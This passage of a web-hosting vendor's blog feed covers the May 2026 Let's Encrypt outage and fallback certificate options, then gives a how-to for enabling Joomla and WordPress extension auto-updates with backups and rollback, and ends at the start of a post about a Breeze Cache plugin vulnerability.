&lt;p&gt;&lt;code&gt;--eab-kid&lt;/code&gt; and &lt;code&gt;--eab-hmac-key&lt;/code&gt; come from the ZeroSSL EAB credentials screen. &lt;code&gt;-w&lt;/code&gt; is the webroot path that serves files for &lt;code&gt;example.com&lt;/code&gt; (whatever directory &lt;code&gt;/.well-known/acme-challenge/&lt;/code&gt; is reachable from on your host). &lt;code&gt;-d&lt;/code&gt; lists every name you want on the cert.&lt;/p&gt;
&lt;p&gt;Two caveats. If you have CAA DNS records pinning issuance to &lt;code&gt;letsencrypt.org&lt;/code&gt;, ZeroSSL&apos;s challenge will fail until you add or replace the CAA record. And every CA has its own rate limits, so don&apos;t try to migrate hundreds of sites in one batch. A handful of high-priority renewals is the right scope during a short outage.&lt;/p&gt;
&lt;p&gt;The second option is a paid cert as a stopgap. DigiCert, Sectigo, GlobalSign, Namecheap and Google Trust Services all issue paid 1-year DV certs for somewhere between $5 and $50 with same-day turnaround. Not elegant, but if a flagship site is hours from expiry and you need certainty today, this is the option that delivers it. Replace it with Let&apos;s Encrypt once issuance resumes.&lt;/p&gt;
&lt;p&gt;The third option is to wait. For most sites that&apos;s the right answer. Let&apos;s Encrypt outages have historically resolved in hours, not days. Default 90-day certs renewing at day 30 have a 30-day cushion. Unless you&apos;re on shortlived certs or you&apos;re already inside the 14-day red zone, waiting is fine.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Note&lt;/p&gt;
  &lt;p&gt;If your renewal cron is going to retry every hour for the next week regardless of whether it succeeds, you do not need to do anything special during the outage. The retry will eventually succeed. The risk is the silent-fail case where the cron logs an error and nobody reads the log.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Let&apos;s Encrypt Alternatives for Free SSL Certs&lt;/h2&gt;
&lt;p&gt;If you want a free Let&apos;s Encrypt alternative for the affected sites today, the realistic answer is &lt;a href=&quot;https://zerossl.com/&quot;&gt;ZeroSSL&lt;/a&gt;. It&apos;s free, it speaks ACME, it issues 90-day DV certificates with wildcard support on the free tier, and it&apos;s the most widely-used drop-in when Let&apos;s Encrypt is unavailable.&lt;/p&gt;
&lt;p&gt;A few details worth knowing before you switch.&lt;/p&gt;
&lt;p&gt;ZeroSSL requires External Account Binding (EAB) on its ACME endpoint. EAB is a one-time pairing step: log into &lt;a href=&quot;https://app.zerossl.com/developer&quot;&gt;ZeroSSL Developer&lt;/a&gt;, generate EAB credentials for ACME, and pass the resulting KID and HMAC key to certbot, acme.sh, Caddy or whichever ACME client you use. We have a worked certbot example in the previous section.&lt;/p&gt;
&lt;p&gt;CAA records will block ZeroSSL until you fix them. Run &lt;code&gt;dig CAA your-domain.com&lt;/code&gt; first. If you see &lt;code&gt;issue &quot;letsencrypt.org&quot;&lt;/code&gt;, that record is telling every CA &lt;em&gt;except&lt;/em&gt; Let&apos;s Encrypt to refuse issuance. Either remove it or add &lt;code&gt;issue &quot;sectigo.com&quot;&lt;/code&gt; (ZeroSSL&apos;s underlying root is Sectigo) before you run the renewal. CAA changes propagate at DNS speed, which is usually minutes, but plan that step first.&lt;/p&gt;
&lt;p&gt;Free-tier rate limits exist and aren&apos;t fully published. ZeroSSL has documented 429 issues on multi-SAN HTTP-01 issuance under cert-manager, which is fine for the handful of urgent renewals you&apos;re doing during an outage but not something to rely on as a primary portfolio-wide CA. Move the few sites that genuinely need to renew today, leave the rest on Let&apos;s Encrypt&apos;s renewal cron to retry once issuance resumes.&lt;/p&gt;
&lt;p&gt;One historical aside, in case older guides bring it up: Buypass Go SSL used to be the other go-to free ACME alternative. It &lt;a href=&quot;https://www.buypass.com/products/tls-ssl-certificates/discontinues-issuance-of-tls-ssl-certificates&quot;&gt;discontinued issuance on 2025-10-15&lt;/a&gt; and shut down its ACME endpoint on 2026-04-15. Any tutorial pointing at &lt;code&gt;api.buypass.com/acme/directory&lt;/code&gt; is now stale. ZeroSSL is the live recommendation.&lt;/p&gt;
&lt;h2&gt;Short Certificate Lifetimes Amplify Outages&lt;/h2&gt;
&lt;p&gt;Let&apos;s Encrypt&apos;s &lt;a href=&quot;https://letsencrypt.org/2015/11/09/why-90-days&quot;&gt;original 90-day rationale from 2015&lt;/a&gt; was straightforward: shorter lifetimes limit the damage of a key compromise and force operators to automate renewal. Both arguments are correct. The trade-off nobody spent much time on in 2015 is that your operational margin during any CA disruption is exactly the unused portion of the certificate lifetime at the moment it starts.&lt;/p&gt;
&lt;p&gt;In December 2025 Let&apos;s Encrypt &lt;a href=&quot;https://letsencrypt.org/2025/12/02/from-90-to-45&quot;&gt;announced its intention&lt;/a&gt; to drop the default lifetime from 90 days to 45 days by 2028. In January 2026 the &lt;a href=&quot;https://letsencrypt.org/2026/01/15/6day-and-ip-general-availability&quot;&gt;six-day shortlived profile&lt;/a&gt; reached general availability. Both moves are defensible on security grounds (shorter lifetimes do reduce compromise windows). The cost they impose is sensitivity to outages like today&apos;s. A 90-day cert renewing at day 30 has a 30-day buffer. A 45-day cert renewing at day 15 has 15 days. A 6-day shortlived cert renewing every 2.5 days has hours.&lt;/p&gt;
&lt;p&gt;Short-lived certs aren&apos;t bad. They&apos;re just unforgiving. As the industry moves towards them, the cost of any single CA going down for half a day grows. Roughly 63% of all TLS-enabled sites depend on Let&apos;s Encrypt, so the short-lifetime trend and the CA monoculture problem stack on each other. Today&apos;s incident is a relatively cheap rehearsal. Once 6-day certs are normal and a CA goes dark for a working day, it&apos;ll be a different conversation.&lt;/p&gt;
&lt;h2&gt;Let&apos;s Encrypt&apos;s Track Record on Past Incidents&lt;/h2&gt;
&lt;p&gt;A short operator memory of recent Let&apos;s Encrypt history:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;2020-02-29: the CAA rechecking bug. A Boulder bug let CAA records be bypassed in some renewal flows. 3,048,289 certificates were flagged. Let&apos;s Encrypt eventually decided not to revoke ~1 million of them past the deadline because doing so would have broken too much of the web. Operational scramble lasted about five days. &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1619179&quot;&gt;Bugzilla #1619179&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;2025-07-21: complete API outage. Multi-hour total ACME API failure, postmortem dated 2025-09-02. No mass revocation, but widespread renewal failures.&lt;/li&gt;
&lt;li&gt;2025-08-06: OCSP responders shut down for good. Not an outage, but it changed the failure mode for every Let&apos;s Encrypt incident going forward. There&apos;s no live revocation service for browsers to fail to reach. CRLs are now the only revocation transport, and CRLs are static.&lt;/li&gt;
&lt;li&gt;2026-01-15: six-day shortlived certs GA. Increased the population of certs that are exposed to short outages.&lt;/li&gt;
&lt;li&gt;2026-05-08: this incident. Cross-signs of X2/YR by X1, and YE by X2, were issued without the now-required Extended Key Usage (EKU) fields. Issuance halted at 18:37 UTC, restored shortly after 21:00 UTC by rolling the tlsserver and shortlived profiles back to the Generation X root. About 2h 28m of pause. Postmortem published and incident formally closed on 2026-05-13 at 20:32 UTC after the cross-signs were revoked and reissued with EKUs included.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This incident sits closer to the 2025-07-21 pattern than the 2020 one: a deliberate halt, a fast diagnosis, a clean rollback to a known-good configuration, no mass revocation of end-entity certs. The postmortem was unusually narrow in blast radius - the problem was an attribute missing from intermediates, the fix was on the intermediates, and ACME Renewal Information did the heavy lifting of telling clients which leaves to re-pull. Whether Generation Y comes back next week, next month or next quarter depends on Let&apos;s Encrypt&apos;s confidence in the corrected cross-signs.&lt;/p&gt;
&lt;h2&gt;What Should I Do Now That Issuance Is Back?&lt;/h2&gt;
&lt;p&gt;If a renewal cron failed during the 2026-05-08 outage window, it should have retried successfully since 21:00 UTC. Most ACME clients retry on a regular cadence (certbot&apos;s systemd timer runs twice a day, acme.sh runs daily, Caddy retries on its own backoff), so the typical case is &quot;the next scheduled run will succeed and you don&apos;t have to do anything&quot;. If you want to force it, run &lt;code&gt;certbot renew&lt;/code&gt; (or your client&apos;s equivalent) once and confirm the cert is reissued.&lt;/p&gt;
&lt;p&gt;If your sites were issued by the &lt;code&gt;tlsserver&lt;/code&gt; or &lt;code&gt;shortlived&lt;/code&gt; ACME profiles between the initial halt and the cross-sign reissue on 2026-05-13, Let&apos;s Encrypt recommends renewing them so the chain pulls the corrected intermediate. The ACME Renewal Information (ARI) API is signalling those certs to renew now, so if your ACME client honours ARI you don&apos;t need to do anything: the next scheduled run will see the renewal hint and act on it. If you&apos;re on an older client that ignores ARI, run a manual renewal once and confirm the new chain is in place. To check, inspect the issued chain with &lt;code&gt;openssl s_client -connect example.com:443 -showcerts&lt;/code&gt; and look for the freshly-dated intermediate.&lt;/p&gt;
&lt;p&gt;If you manually switched a site to ZeroSSL during the outage as a stopgap, you don&apos;t need to switch it back today. ZeroSSL&apos;s 90-day DV cert is fine to live with until its own renewal date, at which point your normal automation will pick whatever ACME server you&apos;ve left configured.&lt;/p&gt;
&lt;p&gt;If you ran a Generation Y-aware integration (rare, but possible if you&apos;d been testing the new root in your own pipeline), verify that any cert issued during the incident validates against your trust store. Pinned trust to the new YR or YE roots is exactly the kind of setup that&apos;s affected by the cross-sign repair: refresh the cross-signed intermediate in any pinning configuration so it carries the new EKU.&lt;/p&gt;
&lt;p&gt;The 2026-05-08 outage was cheap. About 2h 28m of paused issuance, resolved by an internal rollback to a known-good root, no mass revocation of end-entity certs, with a clean postmortem five days later that fixed the bad intermediates without touching anyone&apos;s leaves. The next one might not be. With shorter cert lifetimes coming and most of the web pointing at one CA, the operational margin keeps shrinking, and any operator running renewals on autopilot without expiry alerts is one bad incident away from finding out the hard way which sites mattered.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://letsencrypt.status.io/&quot;&gt;Let&apos;s Encrypt status page&lt;/a&gt;, live incident updates&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://community.letsencrypt.org/c/incidents/16&quot;&gt;Let&apos;s Encrypt incidents category&lt;/a&gt;, official postmortems&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://letsencrypt.org/2015/11/09/why-90-days&quot;&gt;Why 90-day lifetimes? (Let&apos;s Encrypt, 2015)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://letsencrypt.org/2025/12/02/from-90-to-45&quot;&gt;From 90 to 45: cutting default cert lifetime (Let&apos;s Encrypt, 2025)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://letsencrypt.org/2026/01/15/6day-and-ip-general-availability&quot;&gt;Six-day and IP-address certificate GA (Let&apos;s Encrypt, 2026)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://zerossl.com/letsencrypt-alternative/&quot;&gt;ZeroSSL ACME documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1619179&quot;&gt;Bugzilla #1619179: 2020 CAA rechecking bug&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;The postmortem is now in: missing Extended Key Usage fields on the cross-signs, fixed by revoke-and-reissue on 2026-05-13 with ARI handling the long tail of client renewals. If you want a single view of SSL expiry across every Joomla and WordPress site you manage, the &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; is the fastest way to get one in front of you.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>ssl</category><category>lets-encrypt</category><category>monitoring</category><category>security</category><category>alerts</category><category>outage</category><enclosure url="https://mysites.guru/_astro/lets-encrypt-issuance-halted-2026-05-08.C71zs6Eg.png" length="0" type="image/png"/></item><item><title>How to Enable Joomla Extension Auto-Updates Safely</title><link>https://mysites.guru/blog/how-to-enable-joomla-extension-auto-updates/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-enable-joomla-extension-auto-updates/</guid><description>How to enable auto-updates for Joomla extensions across one site or hundreds, with backup and rollback steps that keep client sites safe if an update breaks.</description><pubDate>Thu, 07 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Joomla 5.4 and 6.1 ship native auto-update for the CMS core, but not for extensions.&lt;/p&gt;
&lt;p&gt;If you want Akeeba Backup, Admin Tools, JCE, RegularLabs, or your own custom extensions to update on their own across one or many sites, you still need an external platform like mySites.guru driving the Joomla update API on a schedule.&lt;/p&gt;
&lt;p&gt;The trick is that an auto-update toggle on its own is the easy part. The hard part is the backup taken before the update, the &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;uptime monitoring&lt;/a&gt; that catches a regression in minutes, the email alert that names the site and the version, and the &lt;a href=&quot;https://mysites.guru/wordpress-vulnerability-scanner/&quot;&gt;vulnerability data&lt;/a&gt; that tells you whether the update was urgent in the first place. &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;mySites.guru&lt;/a&gt; wires those four together so the toggle is the last decision you make, not the first.&lt;/p&gt;
&lt;p&gt;This is a practical how-to. If you want the longer walkthrough of how the per-extension toggle and split button work in isolation, that is covered in the &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;auto-update any Joomla extension&lt;/a&gt; post. Here we focus on the steps an agency follows on day one to turn it on safely.&lt;/p&gt;
&lt;h2&gt;Prerequisites Before You Enable Auto-Updates&lt;/h2&gt;
&lt;p&gt;Three things, in order:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A connected Joomla site (or sites) in your mySites.guru account, on Joomla 4, 5, or 6.&lt;/li&gt;
&lt;li&gt;A scheduled daily backup using &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;Akeeba Backup&lt;/a&gt;, so you always have a restore point from before the auto-update ran. Optional of course but insane to run auto-updates without a backup policy.&lt;/li&gt;
&lt;li&gt;A list of extension update streams you trust enough to apply without a human in the loop.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Native Joomla still does not have an &quot;auto-update extensions&quot; toggle. Joomla 5.4 introduced auto-update for the CMS core itself, which most agencies &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;actually want disabled&lt;/a&gt; on client sites. The extension-side story is handled outside core.&lt;/p&gt;
&lt;h2&gt;How do you enable Joomla extension auto-update on a single site?&lt;/h2&gt;
&lt;p&gt;On the Manage Site page for any connected Joomla site, open the Updates tab. mySites.guru reads every update site stream the Joomla site reports through its standard updates API. You will see one row per stream, with the developer URL, the currently-installed version, and the available version.&lt;/p&gt;
&lt;p&gt;Click the Auto Update toggle on the row for the stream you want to automate. That stream is now checked once every 24 hours. If a new version is available for the installed extension, mySites.guru calls the Joomla updates API on your site and applies it. You receive an email with the site name, the extension, the from-version, the to-version, and the result.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Nothing is enabled by default. Every toggle is an explicit opt-in by you, per extension, per site.&lt;/p&gt;
&lt;h2&gt;Turn Auto-Update on Across Every Site With One Click&lt;/h2&gt;
&lt;p&gt;Each Auto Update toggle has a split button. Click the dropdown next to any extension&apos;s status pill and you get four explicit choices, the same four for every extension and for both Joomla and WordPress:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Enable on this site&lt;/strong&gt; - turn auto-update on for this one extension on the site you are currently viewing.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enable on ALL sites&lt;/strong&gt; - turn auto-update on for this extension on every connected site that has it installed. Two clicks and Akeeba Backup is auto-updating across the portfolio.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Disable on this site&lt;/strong&gt; - turn it off here, leave the rest of the portfolio alone.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Disable on ALL sites&lt;/strong&gt; - kill the auto-update for this extension everywhere it is enabled, in one action. The escape hatch when an extension stream stops being trustworthy.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That last one is the part agencies underestimate. The day a developer ships a regression in their auto-update channel, you do not want to log into 50 backends to disable the toggle one by one. One dropdown, one click, every site.&lt;/p&gt;
&lt;p&gt;This is the part that breaks down without tooling. Logging into 50 client backends to flip a per-site setting is not a workflow agencies sustain. Doing it once from a &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;single dashboard&lt;/a&gt; is.&lt;/p&gt;
&lt;p&gt;The same toggle is available for the Joomla Update Component itself. If you do want core auto-updates on, you can enable that here too, but most agencies leave that off and run core updates through a controlled mass-upgrade pass instead.&lt;/p&gt;
&lt;h2&gt;WordPress Plugin Auto-Updates Work the Same Way&lt;/h2&gt;
&lt;p&gt;The same workflow runs for WordPress plugins. WordPress has shipped first-party plugin auto-updates since 5.5, but it is per-site, in the wp-admin UI, and it gives you no portfolio view. From mySites.guru&apos;s Manage Site page, the &lt;strong&gt;Update&lt;/strong&gt; tab on a WordPress site lists every installed plugin with the same Auto Update toggle and the same split-button &quot;this site / all sites&quot; choice that the Joomla side uses.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;So the same answer applies whether you run a Joomla portfolio, a WordPress portfolio, or a mix:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;One UI for both CMS platforms.&lt;/strong&gt; The same toggle, the same &quot;all sites&quot; split button, the same daily check, the same email alerts.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Per-plugin opt-in.&lt;/strong&gt; Auto Update Disabled is the default on every plugin. You decide which streams you trust per CMS.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cross-CMS portfolio view.&lt;/strong&gt; The Updates dashboard shows every site, every plugin/extension stream, and the auto-update state across both CMS platforms in one filter.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If your portfolio is mixed (most agencies&apos; is) this is where mySites.guru pays for itself most visibly. WordPress plugin auto-update is a wp-admin per-site checkbox; doing it portfolio-wide on 80 mixed sites without a unified UI is the workflow the platform is built to replace.&lt;/p&gt;
&lt;h2&gt;Which Joomla extensions are safe to auto-update?&lt;/h2&gt;
&lt;p&gt;Auto-update earns its place on extensions where the developer has a long track record of non-breaking releases. The four families that are auto-updated portfolio-wide most often:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Akeeba Backup and Admin Tools.&lt;/strong&gt; Backup integrity matters and Akeeba&apos;s release cadence is stable.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JCE Editor.&lt;/strong&gt; The dominant Joomla content editor, and one that shipped two &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/&quot;&gt;security releases in a week&lt;/a&gt;, including an unauthenticated file upload fix. Auto-update sites had both before most agencies had read the advisory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RegularLabs.&lt;/strong&gt; Modules Anywhere, Articles Anywhere, the rest of the family.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Custom extensions you maintain yourself.&lt;/strong&gt; You set the cadence and you wrote the code.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Auto-update is a worse fit for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Page builders that touch every template render&lt;/li&gt;
&lt;li&gt;E-commerce components like VirtueMart and HikaShop where a checkout regression is a revenue regression&lt;/li&gt;
&lt;li&gt;Anything that runs database schema changes on update without a migration step you can roll back&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For those, queue a manual update through the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;bulk upgrade&lt;/a&gt; workflow on a Tuesday morning when you can watch the dashboard.&lt;/p&gt;
&lt;p&gt;WordPress folks have had plugin auto-updates for years, and we see - repeatedly - issues with page builders and ecommerce plugins auto-updating, not being noticed, and breaking sites.&lt;/p&gt;
&lt;h2&gt;How do you roll back a Joomla extension auto-update that broke a site?&lt;/h2&gt;
&lt;p&gt;The email alert names the site, the extension, and the version it was upgraded to. From there:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Restore the daily Akeeba Backup taken before the update ran.&lt;/li&gt;
&lt;li&gt;Disable the Auto Update toggle on that specific stream so the next 24-hour check does not re-apply it.&lt;/li&gt;
&lt;li&gt;Open the Joomla site, manually install the previous version of the extension if the developer keeps old releases, or stay on the restored version until the developer ships a fixed point release.&lt;/li&gt;
&lt;li&gt;If &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;uptime monitoring&lt;/a&gt; caught the regression first, the alert email and the uptime alert will both reference the same minute, which makes correlating them with the auto-update record straightforward.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The point of the daily backup is exactly this: the rollback is &quot;restore yesterday and turn the toggle off,&quot; not &quot;spend a day reverse-engineering what changed&quot;.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Note&lt;/p&gt;
  &lt;p&gt;If an extension does not implement a Joomla update site, auto-update is not an option for it. The &lt;a href=&quot;https://mysites.guru/blog/how-to-install-an-extension-to-multiple-joomla-sites-at-once/&quot;&gt;mass installer&lt;/a&gt; covers that case by letting you push a zip across many sites in one action.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Extension Auto-Update vs Joomla 5.4 Core Auto-Update&lt;/h2&gt;
&lt;p&gt;Different scopes, different mechanisms.&lt;/p&gt;
&lt;div&gt;
  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th&gt;Feature&lt;/th&gt;
        &lt;th&gt;Scope&lt;/th&gt;
        &lt;th&gt;Triggered by&lt;/th&gt;
        &lt;th&gt;Configured in&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;th&gt;Joomla 5.4+ core auto-update&lt;/th&gt;
        &lt;td&gt;The Joomla CMS itself&lt;/td&gt;
        &lt;td&gt;Joomla.org infrastructure release pushes new version&lt;/td&gt;
        &lt;td&gt;Joomla System → Update settings&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;th&gt;mySites.guru extension auto-update&lt;/th&gt;
        &lt;td&gt;One or many third-party extensions across one or many sites&lt;/td&gt;
        &lt;td&gt;mySites.guru&apos;s daily check against each update site URL&lt;/td&gt;
        &lt;td&gt;Updates tab on each connected site&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;
&lt;p&gt;Most agencies still &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;disable Joomla core auto-updates&lt;/a&gt; on client sites - for good reason - because a silent core upgrade can interact unpredictably with extensions, templates, and overrides that have not yet been tested against the new version. Then they enable extension auto-updates selectively for the streams above. That gives you predictable extension currency without losing control over when the core moves.&lt;/p&gt;
&lt;h2&gt;How do I see which sites have Joomla auto-update enabled and for which extensions?&lt;/h2&gt;
&lt;p&gt;The Manage Site page has the per-site view. For a portfolio view, the Updates dashboard shows every site, every installed extension stream, and the auto-update state. You can filter by extension to answer the agency-typical question of &quot;which sites have Akeeba Backup auto-update on, and which do not&quot;.&lt;/p&gt;
&lt;p&gt;Combine that with the &lt;a href=&quot;https://mysites.guru/wordpress-vulnerability-scanner/&quot;&gt;vulnerability scanner&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit&lt;/a&gt; and you have the three signals that matter on day one of an extension CVE: which sites have it installed, which sites are auto-updating it, and which sites are still vulnerable. The same three signals work for core CVEs - the &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-6-and-6-1-1-patch-ten-security-issues/&quot;&gt;Joomla 5.4.6 and 6.1.1 security release&lt;/a&gt; on 26 May 2026 is a recent example where the dashboard answered &quot;which sites are still on the vulnerable version&quot; in seconds.&lt;/p&gt;
&lt;h2&gt;Why Rolling Your Own Auto-Updater Always Falls Apart&lt;/h2&gt;
&lt;p&gt;Every agency that runs more than a handful of Joomla sites eventually asks: can we just write a bash script and a cron job, hit each site&apos;s update API, and skip paying for a platform? The technical answer is yes, you can. The honest answer is you will, for about six months.&lt;/p&gt;
&lt;p&gt;What gets you in the end is not the script. It&apos;s everything underneath it.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Per-site, not per-portfolio.&lt;/strong&gt; A bash or PHP cron sitting on each Joomla site&apos;s own server is per-site by definition. Want to know which of 80 client sites successfully patched JCE Editor last night? You are SSH&apos;ing into 80 servers and grepping logs, or you are building the dashboard yourself. That is the platform you decided not to pay for, now built worse.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Joomla minor releases keep breaking it.&lt;/strong&gt; The update API is stable, until a 5.x point release tightens authentication, or 6.0 deprecates a field, or a TUF rollout changes the hash algorithm (Joomla extension manifests have already moved from MD5 to SHA-256/384/512 over the years). Every Joomla release is a chance for your homegrown script to silently start failing on a subset of sites. You find out from the client.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Key and credential rotation.&lt;/strong&gt; Each site needs a credential the script can present to call the admin API, or a long-lived token sitting in a script directory the world can read. When the developer who wrote the script leaves, that credential moves with them or stays orphaned on every site.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No monitoring wiring.&lt;/strong&gt; A cron that exits 0 on a failed update because it didn&apos;t actually parse the response is the worst kind of monitoring: silent confidence. Without a separate alerting layer (uptime monitor, error log parser, email-to-on-call), you find broken updates the way clients always do, which is after the homepage breaks.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Maintenance is a tax you pay forever.&lt;/strong&gt; Joomla update XML adds a new field. PHP 8.4 changes a deprecation. cURL 8 tightens TLS defaults. Each one is a half-day for someone on your team to patch the script across every site, or a ticket that sits in the backlog while sites quietly drift out of compatibility.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;mySites.guru&lt;/a&gt; is the platform answer to all of the above. The check runs once a day per stream from a central queue, not per site. The agency dashboard is the per-portfolio view, already built. The connector is updated for every Joomla minor release as part of the platform&apos;s daily work, not yours. Failed updates email the account owner, not /dev/null. And the £19.99 a month for unlimited sites is, in agency time terms, less than the half-day a quarter you would otherwise be spending fixing your own script.&lt;/p&gt;
&lt;p&gt;Roll-your-own is a fine prototype. It is a bad five-year plan.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Help5.x:Extensions:_Update_Sites/en&quot;&gt;Joomla Documentation: Extensions Update Sites (Help5.x)&lt;/a&gt; - official Joomla docs on the update-site protocol that auto-updates depend on.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Help5.x:Joomla_Update/en&quot;&gt;Joomla Documentation: Joomla Update (Help5.x)&lt;/a&gt; - the core update screen, separate from extension auto-updates.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/october-2025/automatic-core-updates-in-joomla&quot;&gt;Joomla Community Magazine: Automatic core updates in Joomla&lt;/a&gt; - official background on the Joomla 5.4 core auto-update feature.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.akeeba.com/products/akeeba-backup.html&quot;&gt;Akeeba Backup&lt;/a&gt; - the backup integration mySites.guru drives for the daily snapshot before any update.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Unlock Joomla extension auto-updates free for a month&lt;/p&gt;
  &lt;p&gt;New to mySites.guru? Take it for a full month at no charge. Connect a few client sites, turn on extension auto-update for the streams you trust, schedule the daily backup, wire up uptime monitoring, and see what running a Joomla portfolio looks like when the platform handles the routine work.&lt;/p&gt;
  &lt;p&gt;No credit card up front. Every feature, every site, the same £19.99 a month after the trial that the platform has charged since 2012.&lt;/p&gt;
  &lt;div&gt;
    &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Start your free month&lt;/a&gt;
    &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;How the free month works&lt;/a&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Already running a single site and just want a quick check first? &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt; - no signup, no credit card, results in two minutes.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>updates</category><category>extensions</category><category>auto-update</category><category>manage joomla</category><enclosure url="https://mysites.guru/_astro/how-to-enable-joomla-extension-auto-updates.DRWy1bxR.png" length="0" type="image/png"/></item><item><title>Breeze, Cloudways Cache Plugin, Has a Remote Code Execution Bug</title><link>https://mysites.guru/blog/breeze-cache-cve-2026-3844-active-exploitation/</link><guid isPermaLink="true">https://mysites.guru/blog/breeze-cache-cve-2026-3844-active-exploitation/</guid><description>Wordfence blocked 3,936 attacks in 24 hours against Breeze Cache below 2.4.5. CVE-2026-3844 is unauthenticated RCE on 400,000+ WordPress sites. Audit your portfolio.</description><pubDate>Wed, 06 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.wordfence.com/blog/2026/05/attackers-actively-exploiting-critical-vulnerability-in-breeze-cache-plugin/&quot;&gt;Wordfence blocked 3,936 attack attempts&lt;/a&gt; against the 